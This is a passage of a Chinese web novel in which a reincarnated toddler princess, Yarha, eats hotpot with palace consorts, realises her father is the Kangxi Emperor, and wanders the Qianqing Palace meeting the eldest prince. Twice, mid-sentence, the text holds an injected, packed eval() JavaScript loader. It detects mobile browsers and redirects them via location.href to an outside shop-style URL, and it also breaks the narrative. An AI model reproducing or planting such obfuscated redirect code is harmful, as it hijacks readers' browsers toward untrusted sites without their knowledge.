哈将布老虎放在了十阿哥面前。 十阿哥看都不看,继续追着哥哥爬。 雅尔哈不信邪,直接将布老虎塞进了十阿哥怀里。 十阿哥毫不客气地将布老虎扔开了。 雅尔哈:这幼崽还是个犟种? 巧了,雅尔哈也是个精力无限的犟种。 她伸手将被扔在一旁的布老虎捡回来,又往十阿哥怀里塞,这次还特意按住他的小手,不让他扔。 雅尔哈吃得好睡得好,长得也好,任由十阿哥急得蹬着小短腿,嘴里呜呜直叫,她自佁然不动,稳如泰山。 前面的九阿哥察觉到了身后的动静,停下爬行坐在原地,歪着圆脑袋看着气鼓鼓的十阿哥,忽然咯咯笑了起来,还故意举起布老虎在十阿哥眼前晃了晃,那模样,明摆着就是故意逗他。 雅尔哈直接将九阿哥手上的布老虎夺了过来。 小老弟,路走窄了吧。 哪有你耀武扬威的份儿,都老老实实给我缩着。 这下子十阿哥也不叫唤了,看着九阿哥嘎嘎直乐。 暖炕给了三个小的当玩耍地方,皇贵妃便让人支了张桌子,与贵妃宜妃坐在一处喝茶聊天嗑瓜子,偶尔也关注着暖炕上的动静。 “这两个皮猴儿,倒是能闹,”宜妃看完了全过程,笑着道:“小九打小就爱逗弟弟,十阿哥又是个急脾气,两人凑在一处,就没个安生时候,如今被八格格管住,看着倒是乖巧了许多。” 宜妃与贵妃关系好,两位阿哥又只差了两个月,她们便时常将兄弟俩放在一处,时间久了,各自的脾性也看出来了。 另一边,雅尔哈仗着武力力压两个幼崽,成了当之无愧的老大。 好在九阿哥和十阿哥都不是爱哭的性子,没了布老虎也不闹,而是滚在一处互相啃起了手。 雅尔哈见此,连忙将自己的手背在身后。 虽然她也经常无意识地将手塞进嘴里,但那是自己的手啊,啃别人的手或者被别人啃手这件事雅尔哈不能接受。 她觉得这两个幼崽可能是真饿了,“嬷嬷,吃!” 放心,来到自己的地盘她一定让人吃得饱饱的。 15. 雅尔哈 明间的大圆桌上已经摆好了两只锅子,一只黄铜小锅炖着奶白的羊肉汤,咕噜咕噜地翻着气泡,另一只则吊了清鲜鸡汤底,瞧着澄亮诱人。 铜锅四围错落有致地摆着几方描金小碟与细白瓷盘,切得薄如蝉翼的羊肉片码得齐整,嫩白菜、青蒜苗、细粉丝、冻豆腐、菌菇依次排开,旁边还配着调好的麻酱、红腐乳、韭菜花,香醋、虾油、辣椒油各置一碟。 除此之外,还有热菜四碗,饽饽二品,各色果子点心将圆桌摆得满满当当。 不过这些和三个小孩都没什么关系。 为了避免孩子看了想吃闹腾,大人们心机地将明间与次间用缂丝屏风隔开,她们在外面吃锅子,三个小的在里面吃各种肉泥糊糊。 雅尔哈嗅觉灵敏,视觉如今也不错,锅子端上来那一刻她便闻到了香味,各色配菜与瓜果点心更是看得她目不暇接,虽然后来被宫女们用屏风挡住了,但肉类独有的香气还是在屋内飘散开来,雅尔哈闻着止不住咽口水。 这就是古代的火锅吗? 好想吃。 就着香气用完了一碗蛋羹,雅尔哈肚子变得圆滚滚了,但口水还是依旧泛滥。 她看着傻乐呵的两只幼崽,沉沉地叹了口气。 还高兴呢,额娘在外面开小灶,咱们只能吃这些没滋没味的东西。 她和这两个没品尝过火锅麻辣鲜香的幼崽没有共同语言。 两个幼崽不知道姐姐心里的忧愁,被奶嬷嬷喂得正欢实,尤其是十阿哥,吃得眼睛都眯了起来,吃完还吧唧嘴,似乎在回忆鱼泥的美味。 在暖炕上躺了一小会儿,越躺越馋的雅尔哈还是决定放纵自己一把,转身呲溜踩着脚踏下了炕,迈着小短腿绕过屏风蹬蹬蹬地往明间跑,王嬷嬷不敢阻拦她,只好也跟了上去。 “额娘。” 雅尔哈准确找到了皇贵妃的身影,拉了拉她的衣角。 皇贵妃用手帕擦了擦嘴角,低头,又拿了一只新的棉帕轻轻在雅尔哈嘴边蘸了蘸,这才温声问道:“怎么了?” “抱——”为了一口吃的,雅尔哈不介意对着自己额娘卖萌,一双眼睛水汪汪的看着皇贵妃。 她本来就长得好,肉嘟嘟的脸颊,又大又圆的眼睛,浓密的睫毛,此时仰着头看人的模样仿佛你就是她的全世界,满满的孺慕之情。 皇贵妃心软得不行,又怜又爱地将雅尔哈抱在了怀里。 虽然额娘的怀抱很安心,但雅尔哈目标明确,在皇贵妃怀里坐稳后伸出小手扒着桌沿颤颤巍巍地站了起来。 贵妃与宜妃眼睁睁看着桌上出现了半个脑袋。 看着满桌的菜肴,雅尔哈眼神里满是对美食的渴望,眼巴巴了好一会儿,雅尔哈转过身子抱着皇贵妃软糯糯地撒娇:“额娘——吃——” 像她这么大的幼崽能不能吃锅子雅尔哈不知道,但她实在嘴馋的慌,并且暗自下决定,要是撒娇不成她就哭! 一哭二闹三上吊,传说中的闹事精髓,尽管目前她达不到三,但前面一和二是小孩与生俱来的天赋。 皇贵妃不知晓眼前一脸乖巧模样的女儿心里在想什么坏主意,她只想把世间美好的一切都捧到雅尔哈面前任她挑选,不过好在皇贵妃还有理智尚存,在给雅尔哈喂食前先看向了王嬷嬷。 内务府的奶嬷嬷都是精挑细选出来的,雅尔哈的膳食也由奶嬷嬷们负责,不过王嬷嬷因为进退有度体贴上意,在四位奶嬷嬷中脱颖而出,成功在皇贵妃面前有了印象。 在三位嫔妃的注视下,王嬷嬷连忙上前半步,屈膝福了福身,轻声回禀:“小格格用了一碗蛋羹又歇了一会儿,如今用些桌上的膳食也无妨碍,恰好清鲜鸡汤底的锅子小格格也能吃得,只是需得撇去上面的浮油。” 一边说着,王嬷嬷一边用银筷涮了一片极其轻薄的羊肉,放在描金小碟里晾了晾,没有裹任何蘸料,然后小心翼翼地喂给了雅尔哈。 小厨房的羊肉是来自于东乌珠穆沁草原的极品御用羊,肉质嫩,鲜味浓,并且几乎没有膻味,雅尔哈一入口就被美味征服了。 不枉她出卖了自己一遭,真好吃啊! 雅尔哈吃得心满意足。 用完午膳,皇贵妃与贵妃宜妃喝着消食茶在明间闲坐。 康熙自己讲究养生,平日里用膳只吃七成饱,嫔妃们知晓后也纷纷学着,面对喜欢的食物也不多食,绝不贪吃。 不过冬日里吃锅子实在享受,再加上有雅尔哈在一旁吃得特别珍惜,恍惚让三个大人觉得桌上是什么不可多得的美味,一个不注意,都吃撑了。 皇贵妃甚至有些窘迫,她平时注重仪态,连坐姿都是端庄贵气的,很少有这么不庄重的姿态。 但吃撑后靠着椅背真的很舒服。 三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480700|201717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人对视了一眼,还是选择了放松的姿态,宜妃挥了挥手:“皇上赶明儿才回来,今儿咱们就松快松快,正巧臣妾打算给小九做件小衣准备除夕守岁那会儿穿,麻烦两位姐姐帮忙选一下花样才好。” 皇贵妃与二人聊得开心,也不介意露些口风,反正皇上迟早都要回宫的,至于回宫之后的事,各凭本事。 宜妃这么一说,贵妃与皇贵妃也起了兴趣,她们手上都不缺布料,绣花样的册子皇贵妃这里也有好几种,三人兴致勃勃地讨论起来各种绸缎与纹样的搭配方法。 最后宜妃的美商得到了另外两人的一致认同,她甚至当场让人拿纸笔给皇贵妃与贵妃描了一套花样,样式新鲜又喜庆,深得两人喜爱。 在皇贵妃吩咐人给雅尔哈量体裁衣的时候,康熙回宫了。 南巡了三个月的康熙刚回宫便忙得脚不沾地,处理积压了三日的奏折,召见王公大臣,问询皇子学业,等他再次踏入后宫时,已经到了十二月初。 雅尔哈正坐在暖炕上玩九连环,突然被人一把抱了起来,还掂了掂。 这熟悉的感觉。 “阿玛!”雅尔哈抛下九连环,开心大喊。 虽然一岁半的小孩记忆力不是很好,但在雅尔哈所有认识的人中,只有父亲会和她玩举高高的游戏,那么面前的人是谁一目了然。 感谢嬷嬷这几日的教学,她还记得父亲应该喊阿玛。 皇贵妃在信件中已经说了雅尔哈会喊人的事,因此康熙也不觉得惊讶,只是很高兴雅尔哈还记得他,将雅尔哈抱在臂弯里逗她笑。 笑着笑着,雅尔哈突然发现了不对劲。 她低头看了看阿玛胸前那一团头上带角,脸上长须,怒目圆瞪的纹样,又仔细数了数上面的脚趾。 五爪金龙? 为了防止是自己眼花了,雅尔哈还动手扣了扣离自己最近的,阿玛肩膀上的龙。 还真是五爪金龙! 雅尔哈不可置信,就算她上辈子是个理科生,这辈子的记忆也朦朦胧胧,但常识还是有的,五爪金龙可不是一般人能用的东西,这不是皇帝专属吗? 她虽然觉得阿玛的发型有些微妙,但这也属于古代范畴,还以为自己是投胎到了某清朝的大户人家里,谁能想到啊,这里是故宫! 上辈子连北京的卫生间都买不起,这辈子直接住进北京一环啦? 16. 雅尔哈 事实带给雅尔哈的冲击力太大,一岁半的脑子带不动复杂的思考,雅尔哈脑子里只有一个念头回旋。 我爹是皇帝? 活的皇帝诶,比大熊猫还稀罕的东西哇,买门票都不一定见得到的那种! 恍恍惚惚了大半个月,等雅尔哈回过神时,皇贵妃已经在筹备宫里腊月的布置了。 承乾宫上上下下都忙碌了起来,几个小太监用特制的长杆绑着碎布,仔细清扫着梁枋斗拱上的陈年积尘,小宫女们也拿着软布,一丝不苟地擦拭着窗棂、隔扇、门板缝隙里的积灰,连殿内的地毯都重新铺设,换成了喜庆的红毡。 雅尔哈被这股热闹的气氛感染,早早醒了,蹲在庭院的角落里看着宫女太监们忙进忙出。 蹲了一会儿后,雅尔哈腿有些蹲麻了,站起来活动活动了手脚,然后背对着奶嬷嬷,蹲在角落里开始拔草。 后殿的庭院虽然维护得很好,但不可避免边边角角有些注意不到的地方,尤其是杂草的生命力很顽强,虽然看起来已经枯黄了,但根系还紧紧扎在地里,有种来年再借一条命的架势。 不过雅尔哈劲儿大,一拔就是一根草命。 青杏刚踏入庭院便瞧见了角落里小小的一团,径直走了过来,轻声道:“小格格吉祥,主子待会儿要去乾清宫与皇上议事,估摸着晚膳也要在乾清宫用了,派奴婢过来问一问,小格格是想在承乾宫待着玩儿还是跟着主子一道去乾清宫?” 这么一长串话雅尔哈是听不懂的,还好有王嬷嬷这位雅尔哈专属的翻译官在。 王嬷嬷用雅尔哈能听懂的字词转述了一遍后,雅尔哈抓住关键。 去阿玛那里? 皇帝的寝宫,好奇! 雅尔哈使劲点头,“去!” 不过她现在手上全是泥,脏脏的,王嬷嬷捉住雅尔哈为她净了手,本来还想换身干净衣裳,但青杏说主子已经备好了,王嬷嬷这才抱着雅尔哈与青杏一道去了正殿。 皇贵妃正立在暖阁前,由宫女伺候着整理衣襟,见雅尔哈乐颠颠地跑了进来,宫女适时后退了一步,皇贵妃则蹲下身子伸手将雅尔哈揽进怀里。 “急什么,仔细摔着,”皇贵妃嘴上抱怨着,脸上却不自觉带上了笑容,与雅尔哈亲昵了一会儿后便让奶嬷嬷带她去里间换衣裳。 皇贵妃亲手做的小袄,内层是软细的棉布,外层为厚实的粉红色宁绸,领口、前襟、袖口滚了一道狐尾绒细边,摸起来软乎乎的。 —— 暖轿稳稳行在宫道上,皇贵妃将雅尔哈抱在怀里,按住她蠢蠢欲动想要去掀轿帘的手,“外头风大,没什么好看的,等到了乾清宫祸害你皇阿玛的东西去。” 雅尔哈在皇贵妃身上扭来扭去,老实不下来,有种去春游的兴奋感。 不多时,暖轿停在乾清门前,皇贵妃抱着雅尔哈下了轿,站在廊下的梁九功赶忙迎了上来,满脸堆笑:“哎呦,皇贵妃娘娘您可算来了,奴才这就引您进去。” 皇贵妃瞥了格外殷勤的梁九功一眼,不动声色询问道:“皇上这会儿可是有政务要忙?” 不然作为御前大太监,梁九功应该在皇上身边伺候着才是,怎么这会儿反倒在外面吹风? 梁九功躬着身子,“娘娘说笑了,皇上这会儿议事刚歇,见娘娘许久未至,特意吩咐奴才在这儿等着娘娘与小格格。” 皇贵妃不怎么相信梁九功这个说辞。 花花轿子人人抬,以往她来乾清宫时大太监可没这么殷勤,他们最体察圣心,别是皇上这会儿心里不大舒畅,想让她进去救火吧? 皇贵妃不急着往里走,她对乾清宫熟得很,也不差这么一时半会儿的功夫,慢悠悠和梁九功打太极,“瞧你这话说的,倒像是本宫耽搁了多大的事似的,皇上既是歇着,那必定是累了,劳烦梁公公先去通报一句,本宫带着雅尔哈去厢房歇歇脚,等皇上歇息好了再过来,以免雅尔哈闹腾,扰了皇上清净。” 乾清宫有专门供伴驾嫔妃们歇脚的地方,就在东边几间厢房,作为特权人士,皇贵妃那间是固定的,常有人布置打扫不说,里面甚至备有她拿来替换的衣裳。 见糊弄不过去,梁九功腰弯得更低了些,苦笑着低声道:“好叫娘娘知晓,皇上刚才去尚书房走了一遭,回来便屏退了伺候的人,现如今在暖阁里不知是什么情况,还请娘娘劝一劝,圣体为重啊。” 尚书房什么情况皇贵妃还不知道吗,她心里有了猜测,估计又是大阿哥和太子的事惹皇上不高兴了。 不过要她说,这也是皇上自作自受,一边将太子高高捧起,一边又要求兄友弟恭和谐友爱,天底下哪有这样的好事,就算是一母同胞的兄弟在皇上这样一个是宝一个是草的对待下也会反目成仇,更何况这几个阿哥还不同母呢。 心里诽谤了皇上一通,皇贵妃似笑非笑地看了梁九功一眼,“行了,也不用梁公公引路了,本宫这就带雅尔哈进去瞧瞧皇上的情况。” 进了乾清宫正殿,雅尔哈努力睁大眼睛欣赏着这处皇帝寝宫。 抬头望去,正间中央是一方形地平台,顶上悬着一块匾额,台上设有传说中的龙椅和屏风,还有各种摆件陈设,她甚至瞧见了座钟和望远镜! 雅尔哈恍恍惚惚,她历史就是个菜鸟,所以钟表这东西是什么时候从西方传过来的来着,她该不会一来就到了清朝末年吧? 下一步是什么,难不成她努努力还能这辈子见到天安门? 在雅尔哈上演头脑风暴时,皇贵妃脚步未停,径直绕向了东边暖阁,也就是康熙平日里看折子与歇神的地方。 “给皇上请安,”皇贵妃牵着雅尔哈蹲身行礼。 “起来吧,坐下说,”康熙面上看不出什么表情,但介于皇贵妃对他的了解,估摸着这会儿心里火气正旺着呢。 “还是屋里暖和,”皇贵妃不和康熙客气,径直坐到了暖炕上,又将雅尔哈塞进了他怀里,亲昵道:“这孩子越发坠手了,不过抱了这么一会儿臣妾手都酸了,偏又离不得人,皇上抱一会儿吧。” 猝不及防被塞了个女儿,康熙心里酝酿的火气被打断,无奈道:“雅尔哈这点重量有什么坠手的,朕记得你尚且在府里时能弯弓搭箭,舅舅甚至对朕炫耀过你猎给他的兔子,明年朕秋猎时要不将你也带上,别荒废了打小的手艺。” 康熙口中的舅舅是孝康章皇后的亲弟弟,皇贵妃的生父,佟国维。 他待这位舅舅一向亲厚,二十一年将其任命为领侍卫内大臣、议政大臣,这两个都是朝上的核心职位,一个相当于禁军统领,核心职责是统领上三旗侍卫,直接负责皇帝和紫禁城的安保工作,另一个则是直接进入了权利中枢,能够参与军国大政的讨论与决策,凡属军事行动、边疆事务、重大人事任免等,都有资格发表意见,而这些,也是皇贵妃的重要后盾。 不管是情感上的,还是利益上的。 “臣妾也许久未见阿玛了,”皇贵妃顺着康熙的话往下聊,“将臣妾带上也行,臣妾先自己好好学学,以后才好教导雅尔哈,臣妾还等着日后雅尔哈也给臣妾猎只兔子呢。” 听到额娘唤自己的名字,雅尔哈从康熙怀里探头,敷衍地啊了两句。 叫她做什么,她正在思考人生呢。 “皇上您瞧,雅尔哈也应了,”皇贵妃用手帕捂着嘴,眼睛弯弯的,仿佛在偷笑,“皇上您可得帮雅尔哈记着,以后给臣妾猎兔子。” “她还这么小你就惦记上了,”被皇贵妃这么一插科打诨,康熙心里的火气消散了许多,无奈道:“与其等着雅尔哈的兔子,不如指望四阿哥,朕瞧他虽然年幼,但准头不错,明年的秋猎朕打算将太子与三位阿哥都带上,在宫里练了这么久,也该出去长长见识了。” “那臣妾就等着四阿哥猎的兔子了,”皇贵妃顺着康熙的话改口。 —— 暖阁里勉强算得上其乐融融,尚书房就真的只剩愁云惨淡了。 大阿哥这一回倒是没犯什么大事,只是课上打了个盹,正好被过来巡视的康熙瞧见了,将大阿哥提溜了出来询问他瞌睡的原因。 这实在是一件小事,大阿哥也不过十二三岁的年纪,又是他最不趁手的儒家经典,走神打盹什么的师傅都习惯了,就算康熙没有经过,师傅也是打算去敲一敲大阿哥桌子让他醒神的。 可谁让大阿哥就是这么倒霉正好被康熙抓住了呢。 康熙自个儿读书勤奋,甚至如今还有讲官在乾清宫为康熙讲学,不光是汉学,自打亲政后他还跟着传教士学了西学,雅尔哈见着的那些望远镜、座钟、地球仪、几何模型等,不仅仅是摆设,康熙是真会用。 也正是因为如此,康熙才对大阿哥的懈怠感到生气。 他这个做老子尚且每日勤学不缀,大阿哥却还能在课上打盹,按照现在的话来说就是,我当时要是有你那样好的条件早就······ 对大阿哥的恨铁不成钢是一方面,大阿哥说出打盹理由后康熙的怒火又是另一方面了。 大阿哥是个实诚人,康熙问他也老实答了,听完大阿哥理由后康熙简直怒火冲天,他竟然还攀折太子,太子一个十岁的稚童竟然还成他不好好听课的理由了! 两相叠加下,大阿哥又悲剧了,被康熙罚了十个手板,还被勒令接下来半个月都站着听课,好好醒醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480701|201717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神。 四阿哥倒是觉得大哥还没有雅尔哈聪明,雅尔哈惹了祸尚且知道讨巧卖乖,大哥倒好,像是生怕皇阿玛不发怒似的,火上浇油。 再说大哥这也不是第一次打盹了,就算按照平时对着师傅的样子老老实实认错也行啊,怎么偏偏这时候犯犟。 不过说起雅尔哈,是他太过想念妹妹出现幻觉了吗,怎么好像真的听到了雅尔哈的声音? 一个矮矮小小的身影扶着门框从门口探头。 大阿哥刚挨了罚,现在心思不在书本上,就转着眼珠子四处瞧,也是最先发现雅尔哈的。 雅尔哈对他挥了挥手。 大阿哥眼睛亮了,用净手的理由向师傅告了假,一溜烟地跑了出来。 师傅对大阿哥的尿遁已经习以为常,甚至因为大阿哥小跑的动作,他还觉得大阿哥这回应该是真的憋急了,难得没叮嘱他早去早回。 大阿哥一把将雅尔哈抄了起来,将她带到了西庑房,他的动作太快,身姿矫健,王嬷嬷来不及阻止就被大阿哥挟持了人质,只能认命地跟了上去。 雅尔哈眼睛亮晶晶的,哦豁,这个哥哥是逃课了? 她是因为暖阁实在无聊才出来闲逛的。 康熙与皇贵妃是真的有正事要商谈,马上就要到除夕了,除夕宫宴的安排,内务府的年例发放,这些皇贵妃都写好了折子,打算与康熙一一讨论,最好今日就定下来。 不过这东西太过枯燥,雅尔哈听了一会儿发现自己完全就是在听天书就失了兴趣,自个儿在暖阁内逛了起来。 在被她碰倒两个珠瓶一个镜架三只烛台并且揪秃两个盆栽后,康熙将她放出了正殿,并且派了一个小太监与奶嬷嬷一道看护她,只要她别闯进一些办公场所,别的都随她去了。 雅尔哈在回廊上一路晃悠,见到一个开着门的屋子就要伸脑袋探探究竟,最后探到了尚书房,被大阿哥抱走了。 “八妹妹怎么在这里?”大阿哥将雅尔哈抱到凳子上坐着,好奇道:“是皇贵妃娘娘带你过来的吗?还是你迷路了,要大哥带你去找皇贵妃娘娘吗?” 被大阿哥当成隐形人的王嬷嬷一脸无奈。 若说小格格一人出现在别处大阿哥问这话还合理,但现在她就跟在小格格身后,哪来的迷路的说法? 见雅尔哈只是看着他不说话,大阿哥一拍脑袋,反应过来:“我忘了你还听不懂话更不会说了,不过没关系,我这就带你去找皇贵妃娘娘。” 眼看再不开口大阿哥就要将小格格送回乾清宫正殿了,王嬷嬷无奈道:“是皇上与皇贵妃娘娘让小格格出来玩的,大阿哥不必担忧,还是回尚书房去吧,别为小格格耽搁了学业。” 一谈到学习,大阿哥立马不急了,甚至从荷包里摸出一颗薄荷糖扔嘴里,噼噼啪啪嚼着,丝毫没打算回尚书房的样子。 他可是好不容易才跑出来的,不是很想这么快就回去受罪。 但大阿哥也不能一直就这么待在西庑房,他才被皇阿玛罚了一顿,估计除夕回延禧宫后又要听额娘念叨很久,打算先老实一段时间看看情况。 雅尔哈坐在凳子上晃着小短腿,突然蹦出来一句,“哥哥,吃!” 猝不及防听到雅尔哈说话,大阿哥惊呆了,“八妹妹,你会说话了?” 他还记得教八妹妹说话是多么困难的一件事,先前连额娘都不会喊的小孩现在都会喊哥哥了,但大阿哥还是纠正了她一下,“你应该喊我大哥,来,跟我学,大——哥——” 见大阿哥没有将零食分享给她的念头,雅尔哈扭头。 “这东西你不能吃,”大阿哥将雅尔哈的脑袋转过来,对着她碎碎念,“你看你还这么小,牙都没长齐,咬不碎薄荷糖的,再说你嗓子眼估计还没这颗糖大,为了你的小命着想,等你长大后再吃,现在别想了。” 雅儿一巴掌将大阿哥的手拍了下去,向另一边扭头。 这哥哥怎么变成话痨了? 不过教她说话那会儿就挺能说的,估计是上课不能说话憋惨了。 “气性还挺大,力气也不小,还好我皮糙肉厚,”大阿哥嘟哝了几句,看着小小一只连尚书房窗户都够不到的雅尔哈,突然计上心来,转头看向王嬷嬷和守在门口的小太监,“小爷打算带雅尔哈去找太子二弟,你们别跟过来。” 王嬷嬷只是微笑看着大阿哥。 她可是小格格的奶嬷嬷,小格格在哪里她就在哪里。 大阿哥啧了一声,他年幼时也是一直被奶嬷嬷跟着的,知晓这名奶嬷嬷是支不开了,只好勉为其难道:“那你就千万不要出声,待会儿也别站在窗户的位置。”